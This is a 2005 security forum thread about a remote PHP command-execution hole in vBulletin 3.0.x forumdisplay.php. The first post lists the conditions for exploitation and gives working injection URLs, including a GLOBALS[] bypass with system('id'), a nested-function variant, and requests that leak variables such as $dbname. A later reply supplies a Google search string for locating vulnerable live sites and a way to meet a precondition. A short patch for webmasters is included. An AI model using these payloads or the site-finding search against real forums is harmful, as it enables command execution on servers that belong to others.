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www.waraxe.us Forum Index -> All other software -> Vbullettin 3.0.x forumdisplay.php PHP command Execution
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Vbullettin 3.0.x forumdisplay.php PHP command Execution
PostPosted: Wed Feb 16, 2005 8:41 am Reply with quote
Zeelock
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Joined: Jan 27, 2005
Posts: 29
Location: Where stars come out at night




AL3NDALEED Founded that within the following conditions:

Quote:

* 1st condition : $vboptions['showforumusers'] == True , the admin must set showforumusers ON in vbulletin options.

* 2nd condition : $bbuserinfo['userid'] == 0 , you must be an visitor/guest

* 3rd condition : $DB_site->fetch_array($forumusers) == True , when you visit the forums, it must has at least one user show the forum.

* 4th condition : magic_quotes_gpc must be OFF SPECIAL condition : you must bypass unset($GLOBALS["$_arrykey"]) code in
init.php by secret array GLOBALS[]=1 Wink))


Is it possible to inject code as in the following example:

http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma=".system('id')."

Anyway the forth condition can be bypassed like this (nesting formulas - Credit to pokley aka pokleyzz - Not Tested)

http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma={$func($comm)}&func=system&comm=id

Or evaluating the value of variables:

forumdisplay.php?GLOBALS[]=1&f=2&comma=$admincpdir
forumdisplay.php?GLOBALS[]=1&f=2&comma=$dbname

So if you are a web master:

Solutions:
----------------
* Disable showforumusers in vbulletin options .
* add the next line before if ($vboptions['showforumusers'])
$comma = '';


Last edited by Zeelock on Thu Feb 17, 2005 8:44 am; edited 2 times in total

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j
PostPosted: Wed Feb 16, 2005 10:38 pm Reply with quote
SteX
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http://www.milw0rm.com/id.php?id=820

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Yep, is the same
PostPosted: Thu Feb 17, 2005 10:06 am Reply with quote
Zeelock
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As you can see is just a GET req the one by AL3NDALEEB.

The problem lays in Magic Quotes. These protect the innocent against this exploit.

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PoC
PostPosted: Thu Feb 17, 2005 11:48 am Reply with quote
pokleyzz
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http://www.securityfocus.com/archive/attachment/390667/2/
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Great Pokleyzz, In tune on Time
PostPosted: Thu Feb 17, 2005 12:57 pm Reply with quote
Zeelock
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Always in time!


I'll test it this evening in my dummy localhost VBullettin Site

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PostPosted: Thu Feb 17, 2005 8:28 pm Reply with quote
LINUX
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Posts: 404
Location: Caiman




Is very hard find servers they have these functions
in my opinion only 15 % all VB (3.0.x-3.04) installed in all world is vulnerable

Code:
* 1st condition : $vboptions['showforumusers'] == True , the admin must set showforumusers ON in vbulletin options.

* 2nd condition : $bbuserinfo['userid'] == 0 , you must be an visitor/guest

* 3rd condition : $DB_site->fetch_array($forumusers) == True , when you visit the forums, it must has at least one user show the forum.
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PostPosted: Thu Feb 17, 2005 10:53 pm Reply with quote
pokleyzz
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Quote:

* 1st condition : $vboptions['showforumusers'] == True , the admin must set showforumusers ON in vbulletin options.

* 2nd condition : $bbuserinfo['userid'] == 0 , you must be an visitor/guest

* 3rd condition : $DB_site->fetch_array($forumusers) == True , when you visit the forums, it must has at least one user show the forum.

searching something like this `inurl:"forumdisplay" +"Currently Active Users" +"vBulletin Version 3.0.3"` in google will help find one.

You can create the third condition by login as registered user and view the forum.
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PostPosted: Fri Feb 18, 2005 9:41 am Reply with quote
Alkaen
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Thanx dude
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Vbullettin 3.0.x forumdisplay.php PHP command Execution
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